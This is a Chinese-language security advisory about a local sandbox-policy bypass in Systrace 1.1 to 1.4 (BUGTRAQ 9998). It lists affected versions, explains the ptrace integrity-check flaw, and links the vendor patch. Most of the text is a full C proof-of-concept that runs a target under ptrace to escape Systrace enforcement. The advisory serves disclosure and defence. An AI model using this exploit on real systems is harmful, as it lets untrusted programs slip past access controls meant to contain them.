发布日期：2004-03-29
更新日期：2004-04-02

受影响系统：

Niels Provos Systrace 1.4
Niels Provos Systrace 1.3
Niels Provos Systrace 1.2
Niels Provos Systrace 1.1

不受影响系统：

Niels Provos Systrace 1.5

描述：

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BUGTRAQ  ID: 9998

Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。

Systrace存在安全问题，本地攻击者可以利用这个漏洞使应用程序绕过systrace策略。

问题原因是Systrace在当进程被ptrace跟踪时没有进行充分的完整性检查，可使的攻击者应用程序绕过安全策略，进行恶意攻击。

<*来源：Brad （spender@grsecurity.net）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108057556815088&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Brad （spender@grsecurity.net）提供了如下测试方法：

#include <stdio.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int pid;
        int input[2];
        int output[2];
        int error[2];
        int ret;
        fd_set readfds;

        if (argc < 2) {
                printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");
                exit(0);
        }

        ret = pipe(input);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(output);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(error);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }

        pid = fork();

        if (pid > 0) {
                char somechar;
                int highest;
                struct timeval time;

                time.tv_sec = 0;
                time.tv_usec = 1000;

                close(input[0]);
                close(output[1]);
                close(error[1]);

                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(output[0], &readfds);
                FD_SET(error[0], &readfds);
                while (1) {
                        FD_SET(0, &readfds);
                        FD_SET(output[0], &readfds);
                        FD_SET(error[0], &readfds);
                        time.tv_sec = 0;
                        time.tv_usec = 1000;
                        while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {
                                if (FD_ISSET(0, &readfds)) {
                                        if (read(0, &somechar, 1) != 1)
                                                exit(0);
                                        write(input[1], &somechar, 1);
                                }
                                if (FD_ISSET(output[0], &readfds)) {
                                        if (read(output[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(1, &somechar, 1);
                                }
                                if (FD_ISSET(error[0], &readfds)) {
                                        if (read(error[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(2, &somechar, 1);
                                }
                                FD_SET(0, &readfds);
                                FD_SET(output[0], &readfds);
                                FD_SET(error[0], &readfds);
                                time.tv_sec = 0;
                                time.tv_usec = 1000;
                        }

                        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        if (errno == ESRCH)
                                break;
                }
        } else if (pid == 0) {
                close(input[1]);
                close(output[0]);
                close(error[0]);
                close(0);
                dup(input[0]);
                close(1);
                dup(output[1]);
                close(2);
                dup(error[1]);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                if (argc == 2)
                        execv(argv[1], NULL);
                else
                        execv(argv[1], argv + 1);
        } else {
                fprintf(stderr, "Unable to fork.\n");
                exit(1);
        }

        return 0;
}

建议：

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厂商补丁：

Niels Provos
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

Niels Provos Upgrade usr-systrace-2004-01-26
http://niels.xtdnet.nl/systrace/usr-systrace-2004-01-26.tar.gz

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